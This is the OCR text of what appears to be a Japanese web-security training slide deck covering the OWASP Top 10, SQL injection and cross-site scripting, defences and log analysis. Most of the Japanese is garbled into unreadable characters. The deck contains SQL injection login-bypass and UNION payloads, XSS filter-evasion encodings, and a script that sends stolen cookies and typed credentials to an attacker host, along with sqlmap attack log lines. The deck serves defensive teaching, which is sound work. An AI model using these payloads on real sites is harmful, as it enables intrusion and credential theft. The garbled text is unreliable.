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BRATAFAC  SNBHTTPE(S

r - — §
A redLine owNz yOu! - Microsoft Internet Explo... g@

File Edit View Favorites Tools Help "

- - D (x] @ @
( /J’ f’ ‘, \F g g‘] http:/fexperts.microsoft.fr/

5\ P AN ,,. i

A(‘I(Ii\l(v ATA ASE

We call them 'googledorks': Inept or foolish people as revealed by Google. Whatever you call these l
fools, you've found the center of the Google Hacking Universe!

Category: [ [ Free text search: |

>»>

olds (22)
Examples of queries that can help a hacker gain a foothold into a wt¢

Files containing usernames (15)

These files contain usernames, but no passwords... Still, google find

Sensitive Directories (64)
Google's collection of web sites sharing sensitive directories. The fi
sesitive to uber-secret!

1(72)

These links demonstrate Google's awesome ability to profile web se.
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Web &3z X 2 #%ii

0O 3JL : HTTP(HyperText Transfer Protocol)

HTMLYXMLUIR EDNY — D7 T EFBCRBSNIZ I 7ML ZEnX S Dfzsbn IO M), ETES
> 7). Request/Responset (. Header/Body THERK NS,

Response

Header
HTTP/1.1 200 OK

Date: Tue, 12 Aug 2014 06:56:18 GMT
ReCI ueSt Server: Apache
Accept-Ranges: bytes
Vary: Accept-Encoding
Header a Content-Length: 14994
GET / HTTP/1.1 _ = Keep-Alive: timeout=15, max=100
Host: www.cyberdefense.Jp _ Connection: Keep-Alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Content-Type: text/html; charset=UTF-8

Firefox/30.0 Iceweasel/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ja,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate BOdy
Connection: keep-alive <IDOCTYPE html|>
S <head>
BOdy <meta charset="UTF-8">

<meta name="description" content="t-/\—5« J x> XFEF(L..." />
<title>CDI - Y- )\—F« J 1 > XfAFTFT</title>

<link rel="index" href="/index.html" />

<link rel="shortcut icon" href="/img/favicon.ico" />

<link href="/css/default.css" rel="stylesheet" type="text/css" media="all"
/>

<link href="/css/top.css" rel="stylesheet" type="text/css" media="all" />
<link href="/css/jquery.slideshow.css" rel="stylesheet" type="text/css"
media="all" />

<link href="/css/jquery.superbox.css" rel="stylesheet" type="text/css"
media="all" />

<link rel="alternate" type="application/rss+xml" title="CDI - B /\—F~«
J 1 > AP href="/feed" />
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1989
1990

1992

1999
2001

2004
2005
2006

2008
2009
2011
2012
2013

<« €' | [ www.ibarakiken.gr.jp/www/index.html

RYIDHTTPEN -0 7w T E58E U THTMLA BIF.

HRTRIDWeb S —/NETSTOTHHEFEND,

EK(:BLT%%*}JO)/—I—\—AN_yb\\Z}Fﬁﬂén%o Tupes of server , and QTHER SUBJECTS

BIRLX—IERR TS

HEREFTHARDA Y-y MEREBE. #BRRCGIT 1 M2, CGIZEM T DT b 72 ISRYA hREE. Warez
12EE - (CAPTCHAICK D77 NI~ bEFEUSHRECD TINS5 XY — K, )

25 ARDH—E XA, Bloggers&sdm T O0H—E X H R,
Movable Type 1.0U U —X

mixid=1 =5« —EXRIE FRmixi)
[([E<IEEBEE AEE] ZHFE(CSRFAESSE)
KETTwittert— EXFIE. BAEANTEI—HRFEAED ST

SQLA >SS T oS3 >NT — AT

GumblerXKFitiT. T+ WS> KF T, ConfickerERAMRIT
PSNiaERADEHRMA V). RITOE_RAEFFIRIT DT 1 v I FENHIR
I=PEIRIED )L AEH(CSRFMESS ). RIEENRITDIRD D
IKERAHGRIRENSTAT D IEsH D

\
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HTTPIIXEDL 55D, RSEHEBENS5HD

e HTTP. Web®D#itT(X20FL ERFIICESNTZ. & < TH LWLl
o N—XI(F20FL ERI—>HL)
o HLERZHEITTLID=FTLL)
o fER., MNIEHMICIRAS T VWEKLEICKAERZRT. MEssEBHNIRL

o fESSMEBNR—R(FHENEE,
e SQLI>x U3
o JORYA SRTITFT+2J(XSS)
o JOYA NJIIAMTA—=1U(CSRF)

o IXAMTDES LMEIFIEIFE (T [

\
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1) SQLr>>xo>3>
2) OSON> kA>T 023>
3) JIXRBI\SA—=HFDKXRFTVYVD
4L~ - bS/)IN—=T)L
4) ttv>3a>EEBOANE
5) JOXYA b~ - ROUTF4>0
6) CSRF (ZORXBYA bk~ -UOIRXb--TA—>1)
7) HTTPAYS - A1 023>
8) A—=JN\VH - A>T O3>
9) Ot XHEIFRRHIEHD R

IPA : ZEIRITT T YA bDIEDTT K DIRE

COMB(CHTZL SAMIEE>IFEL TVET,

\
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Web®DHiEss 42z =L\ =Y )\ Z - JBFE - L= 9 5

o WebH A RelIZA
e SQL1>>x 023>
o J7I)L7vTIO—R
e OSON> A>3~

o [FERIMA L)
SQL1>>x0o>3>
OOXYA SROVUTF4 >0
S+ LK) KS)\—H)L
==k AVAN)

o BSRIURVEFZRITESEIEVY D
o JOXRYAKMNIUIAMIA—=>TU—(CSRF)
o [FELLLAEMN
o EIRIFIED 1 ILABMH
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™o (EDZL. SQLT >SS 3 > DHEEEH

wikipediadk D #5&,
£ rms

° 2005 FIRAICHELD, D37V —UA LD OL Yy D—F BIFEETEAFRRE
FE6 AIZO57 Y U A LE ST IO T EF S LA O RN TPELA S FENERIN:,

o 200585 BICFEELI . B com® et -} 2T
FOIR. AFRNCIFHESNTLED SO/ Y223 td 20D THE LI E S, 2570 U AL EFHOILATERE com D FEF 222 0iT2Thiiz.
o 200556 AICHBALT:, 77 a0 BEAEERE - 0570 U AL EHEE-ID
o 200558 AICHEALF . BEFTRAMF«F T2CEMFERE - 2570 - A LEHEIE—IE
o 200511 AICESELT, D 3= LT S igudD O0 Pyt D—F1EiE 2 U EAIEIRRE
o 200511 RICESELC, Fo AT S OFNT7 o HERE
o 2006 51 AICHERLIC. 2000 2D O P D—FIEE ST E A IBERE
ANV 2HIZRAE~ B A ERN T,
o 200654 AICHEELIC, 22007070 - B3R
o 20066 BICEEL, BEFEREO WY 28
o 2007 7 AICHBAL -, @50LA 5+ J0 4w b I—F 15 S LB A ERRE
o 200853 AICHEELC, FLAF 7020, @nifty, 2UT AT 74T 4 7 OWe b | 208
o 20083 AICEELD, 22 A O0L W D IEFE S TEA BRI
BEICGRESNICAE7AS S LAEEHLT A EF AT NI B E S,
s 200854 AICEELD, D— 2 — O A 205
o 200885 BICEELEE, PAFSw Y AL 7=, PAE 2 —F -2 PO O Y AP IERE U EA B ERE
e 200855 AICEELE, EELwHY T —E 20w | 205
e 200BEES BICHEEL, ZAAURISTD L Vw1 1EERE
s 20087 AICHEALI -, +Fa5L DAL Vs h— IBFr S L EA SRR
BEICGERESN A 7O S AFEHL T A E7 VAT hiz BB S,
o 2008 57 AICFEAELI, FEETPlayStationD e bt -+ SHET
o 200887 AICEE LI, ITITEGE A RIRF N 2 - R E RBEO Wbt 1+ o5
o 2008 E1ORICESELID, JILTH 122 TS Diviehtt A+ SHE
o 20101 BICEEL, T AL Dy h—F B8R
o 20107 BIZEY L, O—T—F9FHR — LT 424 A0 GAMECIT v B0 1A 155 R 2]
o 2011 4 BSBELT WA, Y Z—OPlayEtation Netwark® B ERREICHES, w25 IL—DEAEERE.
o 201384 BICHBALI, THOR LT O—1 LD Il 2 —F 1EERIRE
102D h—F ERAR DV ES. D—FHHHE. EFaUT+3—F. FREEMS A~ RBLT ZEEWEE.
Wikipedia:http://ja.wikipedia.org/wiki/SQLY%E3%82%A4%E 3%83%B3%E3%82%B8%E3%82%A7%E 3%82%AF%E 3%82%B7%E3%83%A7%E3%83%B3
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A—TRA=1="5+

e The Open Web Application Security
Project (OWASP) (&, Ef8C&377JV
T—23>0RFE - BA - EROHEZ
BNEU TR SNEA—-T>RO=a

T A

OWASP

The Open Web Application
Security Project
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OWASP TOP 10

BAGE

Japanese version

OWASP Top 10 - 2013 (Bl/3\—ay) O

A A SThoa OWASP Top 10 - 2013

The Ten Most Critical Web Application Security Risks

A2 - BV a3 BHROTN

A3 - SRRV AP TTF 1424 (XSS)
AL -RETHEVWAIT O HMNEESR

e arr RO release
A6 - i T —4 DR =N
A7 - SREL R ILT L A HBO R i
A8 - ZAAY A RO ARIH—LxI)(CSRF)
A9 - RO BIEE /O R—2 MO ER
A10 - RREEDUS (LI METH—T—F

\
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15 /#iKIC &> THENI(CR D AReEsTE E BRITRIRD

company/organization

T @ B
I

vulnerability

SQL1r>=>x 023>
OOXRYA SROUTF4 >0
CSRF

4 L2 K8JKS/)\—HIL
OSION> kA>T o>3a>
A=T>UV51LT

O>w O(ICET M

77Ot XHE - BRI (CRET DA
v 3> EEONE

®« @ == N
ERRCES =

)

threat

IL2v bH— RIEHRRA L
EAENZIES

ANEREmEBA (CKDFE LR
F— MNMTA
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EPNEE A
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g UF o (CHIBE REDEHET> TS BET(E,

- FaVUFTaF—L/DI T /EERZRE.

- TF I ST BEECIHELUYCITVL DRI ZER > CL\B3Hahd D,
- BRBIERICERZEX IERZTE D,

- TF 2T ZEROU XA THEZITD.

- RADHLEDTESHDTEF 1 VUFT o 20 - FT Vv OZBRI CITD,
AT MRETCUETERD/I\> RU I ZITS,
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Mess1EDBHMaHETEI S

e HEIBED
o JOFW—)L
e BURP SUITE

e O—H)LTOF>
o HTTPUOI A /L AR RA A —1T SR
o UUT X NEXHLEE
o A HEHE
AN

o oY
o JOFZDEENTENIFRITEOK

o PSNHDYA b/IRIE

e SQLZoo

e OWASP Broken Web Apps “A'I’s:l""“f
e IPA AppGoat )

e Badstore

IRE

SEE HOW HACKERS THINK W
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HDHIDOFTNEESRH — SQLA > >

O—YID, JXRXDO—RZANL. OJA 29 DEMHE

You must log in to proceed
Flease enter vour name and password

==

ETESTILROOA > Em

password:

#{E

EE5|A:
sglzoo.net(http://sqlzoo.net/hack/passwd.pl)

fessEnt o270 S5 LA—Hi:

tEEoOT 4 > BE T name: Operator, password:opepass&E AT D E
005 AETFEORICAUIEZITD,

$strSqgl="select * from users
where userid='Operator’ and password = ‘opepass’;”

Copyright © 2014 Cyber Defense Institute, Inc. All Rights Reserved Cn‘


http://sqlzoo.net/hack/passwd.pl

DHDFTNRERF] - SQL>>1 953

Q. /\RXDJ— REID ICEATF DX FHZ AN U TXE=Z
T2EEDRRDN?

password= tekito’ or ‘A'=‘A

O S AFTEEDRRICAIEZIT D,

$strSqgl="select * from users
where userid='Operator’ and password = ‘tekito’ or ‘A’="A";"

EHXEUTIE A=A (TEICE(True)(TiD,
JAXD—RZHS59 6001 > halkEE

userid(Cadmint®administrator. root&E ANTHINT D& -

\
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DDV NIRERF) - SQLA>STI0>3>

o >OvEIYA MNIBWTEHRR—RRIT DERR

K< D>BDURLD—Hl
http://www.shopping-site.jp/product/detail.php?productid=100

BESNZEmI— RS9 DEHzEE U CEE(CGGFlZR R D.
FEoHEEEmmI—F 100,

fesstEN's 2700 S5 LA—Pl

$strSqgl="select * from products
where producid=" .$_GET[ productid’] .”;"”
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DHDFNRERF] - SQLM>>1 953

SQLA>> T 0332 ERUTREZITO> LT DL

http://www.shopping-site.jp/product/
detail.php?productid=100 union select user();

SN S 3T OIS AN KEI— RESALEEZIRD & -

$strSqgl="select * from products
where producid=100 union select user();"”

FEREUCHERIICIE T—IR—IATHEALTWBAI1I-YENrERRIND.,

FERIC. UTFDSQL 21> 023293 & FRAULTWST—TJIL—&
PNES CTE D,

SELECT table schema,table name FROM information_schema.tables
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HDHDOFNIRZERF : XSS

OORYA NROUTF427T7?
DMO (< NDTITTHRIAIC S

35 Copyright © 2014 Cyber Defense Institute, Inc. All Rights Reserved C,,‘



HDHDOFNIRZERF : XSS

o XSSOHEsgENH DT FDURLE LU K [IEURLZ D
o X7 ~(JavaScriptEMHWFEENT D,
o WEEHDHA MMIRIEENED., BLE=NB,

\
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HDHDOFNIRZERF : XSS

OORYA NROUTF427T7?
BMO (< VDTRMNIHIZ TIITTHRAIC S A

\
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HDHDOFNIRZERF : XSS

o FRHEDT—HR>ZFICEFEICAD,

o FEIFIC, BF(ICHAIFERYSHNENFEEIN

o [IINMTLNES., AL —EBERFINIEDBDIERHNSERE
faVE <

\
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HDHDOFNIRZERF : XSS

H= B TCinZztml \ CanbA

\
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HDHDOFNIRZERF : XSS

o LULOMDICKWOORBA CROUTF 4 >0 EWNWSEH]

A

Attacker’s web site vulnerable web site
attack.sample.com vuln.sample.com

WBEY—)\N\7oEX=E5N.
NILDO T 7 (CRRELTLEDED,

Cookiez—#&(CIXD>CTLEDED... KEER 25T NHRET B — A

DT ICREITIR.
WEBDITSOYTROUT SHEE

Alert

Bess =22\ INERDURLZE BURLAT7Z IR
URLE UTERR L. EBURLZ—HI% o , SIEFELY A "MDT Y ® . ®
I HCBERBBIC A S+ DT TS
TR, SNSETHLEN T B, ==
Users

Attacker

\
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HDHDOFNIRZERF : XSS

e EURL

http://vuln.sample.com/search/search.php?keyword=restaurant%?20ita
llan<script src="http://attack.sample.com/attack.js"></script>

o J—/INMEREND L AR AT —SHI(HRH%E)

<html>
~(Bg)~

<body>

<p>

F—"— R : restaurant italian<script src="http://attack.sample.com/attack.js”></script>
DFER : 3001%F

<p>

. ADUIEXZEG R TDFEFL AR AF—HICESATT
~ ()~ SHH(GRLTUEDA. HTMLY X ScriptZ AHh 33
</body> EMDEREBCLSICTSOTFRRIRUTUES,
</html>

/
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HDHDOFNIRZERF : XSS

e attack.jsOHE

o EHHLIRED
alert(1), alert(document.cookie) //jsTlOTCRARIGERATZ 0 MO SEZBEIST D

o MDA MNERIX(DUVTICCookieBix(E)

location.href=h'ttp://vul.jp/?'+document.cookie

o JSUYFvr v aNSBEIR(OTA VIEHRALE)ZIEL

<script>
f = document.createElement("iframe");
f.src = "login.html";
document.documentElement.appendChild(f);
f.onload = function() {
setTimeout(function() {
id = f.contentDocument.forms[0].elements[0].value;
password = f.contentDocument.forms[0].elements[1].value;
//alert(id + '&' + password);
new Image().src = 'http://vul.jp/?' + id + '&" + password,;
f.parentNode.removeChild(f);
¥, 1000);
b

</script>

\
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BRTRXSSIN\F—>

BRI ARDETITNADIGE

<img src=javascript:alert(1)> //srciE%

<iframe src=javascript:alert(‘xss’)>

<img src=0 onerror=alert(1)> //AXR>2 KN\ RS
<a href="javascript:alert(1)”>//hrefl@%

REIRE

PS5 —/)MAITISYIURXMDLDIRFITYVIZ L TCVDES
- URLT>O—RUTH3

%3C%69%6D%67%20%73%72%63%3D%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%31%29%3E
(decode 9 5 &: <img src=javascript:alert(1)> )

- 1E P FTVISNTVDAREENHDIDTESICI>I—RUTHD
%25%33%43%25%36%39%25%36%44%25%36%37%25%32%30%25%37%33%25%37%32%25%36%33%25%33%44%25%36

%41%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%3
3%41%25%36%31%25%36%43%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%33%45

- URLT>O— RAAFT v ISNTUVBDHEIF. HTMLBMEX FERBEHE U THD.

<IMG SRC=&#106;&#97;8#118;&#97,;&#115;8#99;&#114,;8#105;&#112,;&#116;&#58;&#97,;8#108;&#101,;&#114,;&#116,;&#40;
&#39;8#88,;&#83,8#83;8#39,&#41,>

COMCEFTVIZET DIRITDZOHDITERTESSABD., Fe. HRPDZDANECK D THER =N

TLET,

—XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_Locator
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Web7J UT—=3 > 0Hfess xR

IRAEYIR TR
THETEMBHHEZIED CFRNERZITD,
WEZ1TD> CHTETHENGER EIED L DR,

REREYIRIIER
MeBIE(C K DFEZR/IMEH DV FERT DXIR.
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Web7J U —= 3 > DlfEss xR | €DHilC

VIV 3 B EUTCERINESFIVIE
TFI1VFTAEFEUTERINESF TV IZERITDINEND D,

Bz (X

o A SJfEARELE (Validation)
s NBERT—AENEDIHDF TV

- XFHDEESFIT VD
ZTBDESE2TRUVAT 2 B9 Bok&E LU TWLWBRRE

o[BI TTE
« HTTPL AR AW A T, @@t charset U content-type =BT B,
- HTMLOREME(E. "] F£/2&E '] THED. RRERE

\
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IBARBNR | SQLT>>1To>3>

INSA—=HFEIFC [?] ExRFEAUESQLZHEL. FHATBIEETL —ARILFICEIDHT
EZRICtY FUTSQLY ZTR =t D,

° (1) )\ > R Z(ERT D,

(2) SQLX (CA—HI W SDANMEZSIEE I HICIERFIREZE T AV TCTADBERIEZITLY. T—FINR—
AW FNSQLX (CEE SR MM EH Z 8T B,
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[19/Mar/2013:21:12:00 +0900] "GET /?a=S%28SELECT%20%28CHR%2858%29%7C%7 CCHR%28115%29%7C%7 CCHR%28116%29%7C%7CCHR%28114%29%7 C%7 CCHR%2858%29%29%7 C%7 C%28SELECT%24
00%20ENDS29%29%3A%3A text %7 C%7 C%28CHR%2858%29% 7 C%7 CCHR%28109%29%7 C%7 CCHR%281 13%29%7 C%7 CCHR%28107%29%7 C%7 CCHR%2858%29%29%29 HTTP/1.1" 200 960 "-" "sqlmap/l1.0
[19/Mar/2013:21:12:00 +0900] "GET /?a=%28SELECT%20CHAR%2858%29%2BCHARS:28115%29%2BCHARS281 16%29%2BCHARS:281 14%29%2BCHARS:2858%29%2B%285SEL ECT%20%28CASES20WHEN S
52848%29%20END%S29%29%2BCHARS2858%29%2BCHARS28109%29%2BCHARS281 1 3%29%2BCHARS281 07%29%2BCHARS2858%29%29 HTTP/1.1" 200 960 "-" "sqglmap/l.0-dev (http://sglmap.d
[19/Mar/2013:21:12:00 +0900] "GET /?a=S%28SELECT%20CHR%2858%29%7C%7CCHR%28115%29%7C%/CCHR%28116%29%7C%7 CCHR%28114%29%7 %/ CCHR%2858%29%7 C%/C%2BSELECTS20%28CAY
ND%29%20FROMS20DUAL%29%7 CS%7 CCHR%2858%29%7 %7 CCHR%28109%29%7 C%7 CCHR%281 1 3%29%7 C%7CCHR%28107%29%7 (%7 CCHR%2858%29%20FROMS200DUAL%29 HTTP/1.1" 200 960 "-" "sqglmd
[19/Mar/2013:21:12:00 +0900] "GET /?a=SELECT%20%27%3Ast r%s3A%27%7 (%7 C%28SELECTS20%28CASES20WHENS20%283288%303288%29%20 THENS20 1%20EL SE%200%20END%29%29%7 C%7 (%3
ttp://sqlmap. !

19/Mar/2013:

1 MRRAR R R 75<

19/Mar/2013:

e FH100%ENTLYS

19/Mar/2013:

19/war/2613:21: - ittpi//map.honeycloud.net/ )"

19/Mar/2013:21: map.org)"

.org)"

19/Mar/2013:21:12:00 +3900
19/Mar/2013:21:12: +0900

] "GET /7a=a%27%3B%20WAITFORS20DELAYS20%270%3A0%3A5%27-- HTTP/1.1" 200 960 "-" "sqlmap/l.0-dev (http://sglmap.org)”

] "GET /7a=a%25%27%3B%20WAITFOR%20DELAY%20%270%3A0%3A5%27 -~ HTTP/L1.1" 200 960 "-" "sqglmap/l.@-dev (http://sglmap.org)”
19/Mar/2013:21:12: +0900] "GET /?7a=a%29%20AND%20SLEEP%285%29%20AND%20%284368%3D4368 HTTP/1.1" 200 960 "-" "sglmap/l.0-dev (http://sqlmap.org)"
19/Mar/2013:21:12: +0900] "GET /7a=a%20AND%20SLEEP%285%29 HTTP/1.1" 200 960 "-" "sqglmap/l.0@-dev (http://sglmap.org)"

19/Mar/2013:21:12: +0900] "GET /?7a=a%27%29%20AND%Z20SLEEP%285%29%20AND%20%28%27 Ibot%27%30%27 Ibot HTTP/1.1" 200 96@ "-" "sglmap/l.0-dev (http://sqlmap.org
19/Mar/2013:21:12: +0900] "GET /?a=a%27%20AND%20SLEEP%285%29%20ANDS20%271R1P%27%30%271R1P HTTP/1.1" 200 960 "-" "sglmap/l.0-dev (http://sglmap.org)"
19/Mar/2013:21:12: +0900] "GET /?a=a%25%27%20AND%20SLEEP%285%29%20AND%20%27%25%27%30%27 HTTP/1.1" 200 960 "-" "sglmap/l.@-dev (http://sglmap.org)"
19/Mar/2013:21:12: +0900] "GET /7a=a%29%20AND%202426%3D%28SELECTS202426%20FROMS20PG_SLEEP%285%29%29%20AND%20%288698%308698 HTTP/1.1" 200 96@ "-" "sglmap
19/Mar/2013:21:12: +0900] "GET /?7a=a%20AND%202426%30%285ELECT%202426%20FR0OM%S20PG_SLEEP%285%29%29 HTTP/1.1" 200 960 "-" "sglmap/l.@-dev (http://sglmap.org
19/Mar/2013:21:12: +0900] "GET /?a=a%27%29%20AND%202426%3D%28SELECT%202426%20FR0ON%20PG SLEEP%285%29%29%20ANDS20%28%27 vSMe%27%30%27vSMe HTTP/1.1" 200 960

Copyright © 2014 Cyber Defense Institute, Inc. All Rights Reserved c,..neie




7ot 20O0 Y —ILZ RN

'p HITTEGE N SRR [CoglenAs L% [=
bl dsensalin ol Sl OIPATONT eH(t7yT eHRISE ©ENGLISH

1 YIRITT - | mane ST E)
WEtFavs s IJJ 7,_,/5 ITAMERE ‘ FiiE e * et

HOME >> [Eifitza T >> I E- 15 >>E‘Jz_7*3“-1H.ﬂﬁt’fﬁﬁtﬂif—,'l/

| 1 | 974 1+ 52O #$ > —I iLogScanner V3.0
ﬁﬂt#l 'J 7—_‘( Px7Y - snondERALIRSEE AR oSN
v o e e IER) HEROTEEH » FAQ
S o
xR l R¥ :
ofEADH SETIIEPEVE AT I ABEI 7D % -1 O7 O 205 R3S, iLogScanner®
oHEEEDH {ERIFHETHBEICTOIEDTE, BB B 2RI T 5 B RET .
OURATLEIEENDH iLogScannedd. ZSUY FTETI2Iavar JL v RO =L Eli-TWED T, K
otz HEEDH =L N—URRBIEDTELEH IS, YL THBEICERTEI LN TEET,
BT ROMES IO f-aTREED L BN 2 REFHRL 954 TEE T .
8% & HHE IR o SO Jzsa’
x =X Y o' S > 2
oL ADRY: ¢ FADM:- b2l
feea 4R EERM BT 5 s
% = (;'1*) IDS: 13)\*;%%0/7\714(1ntrusnon Detection System)
w n-‘IP7I~bRb“b®I$I§®_TaEI$

Copyright © 2014 Cyber Defense Institute, Inc. All Rights Reserved .....n.iu



POST>—4A D096

IS 6.0 — Not Logged by Default

Can be enabled:
= Transfer Sizes
= Host Header

Why Do We Care About POST Data?

= Much of the user input to a web application is
= Cookies passed to the server as POST parameters

= Referrer = Manipulating these parameters is the prime
mechanism for attacking an application

=« POST data logging provides insight into such
= POST Data attacks

Not even an option...

=« POST data is necessary to perform an accurate
damage assessment
EAN DIANT 27 [

EANDlANT“ 28 [ M@ntrepidus @roup

POSTF—9DO20&BETR\E., BOBITERDEAMICIRSIT—IE,
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